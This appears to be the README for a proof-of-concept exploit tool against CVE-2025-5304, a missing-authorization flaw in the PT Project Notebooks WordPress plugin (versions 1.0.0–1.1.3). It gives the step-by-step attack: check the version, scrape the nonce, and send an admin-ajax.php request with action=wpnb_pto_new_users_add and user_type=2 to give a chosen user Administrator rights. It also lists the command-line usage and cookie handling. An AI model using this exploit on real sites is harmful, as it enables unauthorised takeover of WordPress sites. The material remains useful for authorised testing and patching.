
PT Project Notebooks 1.0.0 - 1.1.3 - Missing Authorization to Unauthenticated Privilege Escalation
PT Project Notebooks 1.0.0 - 1.1.3 - Missing Authorization to Unauthenticated Privilege Escalation
PoC & exploit helper for PT Project Notebooks versions 1.0.0–1.1.3: Missing authorization in
wpnb_pto_new_users_add()allows unauthenticated attackers to escalate a chosen user’s privileges to Administrator viaadmin-ajax.php.
The PT Project Notebooks plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization in the function wpnb_pto_new_users_add() in versions 1.0.0 through 1.1.3. This makes it possible for unauthenticated attackers to elevate privileges to those of an Administrator for a specified user ID.
wp-content/plugins/project-notebooks/readme.txt and extracts the Stable tag to confirm the target is ≤ 1.1.3.custom.nonce and custom.ajax_url injected by the plugin into the page (via wp_localize_script).admin-ajax.php with action=wpnb_pto_new_users_add, the discovered nonce, ids=<UserID>, and user_type=2 to copy all Administrator capabilities onto the target user.wordpress_logged_in_* cookie for wp_verify_nonce() to succeed.python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28
python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28 -c "wordpress_logged_in_...=..."
CVE-2025-5304.py -help
usage: t.py [-h] -u URL -id ID [-c COOKIE] [--skip-version]
CVE-2025-5304 (Nxploited Edition)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g. http://127.0.0.1/wordpress)
-id, --id ID User ID to escalate (e.g. 28)
-c, --cookie COOKIE Optional Cookie header value for session-bound nonces
--skip-version Skip readme.txt version check
-u / --url — Base site URL; the tool normalizes it and reads plugin readme + front page.-id / --id — WordPress numeric user ID to escalate (Subscriber is enough).-c / --cookie — Full Cookie header value (e.g., wordpress_logged_in_*=...) required if nonce is session-bound.--skip-version — Skip the readme.txt Stable tag check (useful when readme is hidden or customized).Notes on nonce & cookie
custom.nonce is visible in a private/incognito window, it’s public—no cookie needed.wordpress_logged_in_* cookie with -c.custom.ajax_url (scheme/host/port/path) shown in the page source.This repository, PoC, and code are provided for educational and authorized security testing only. You are solely responsible for ensuring you have explicit permission to test targets. The author assumes no liability for misuse or damages arising from the use of this project.
By: Khaled Alenazi (Nxploited)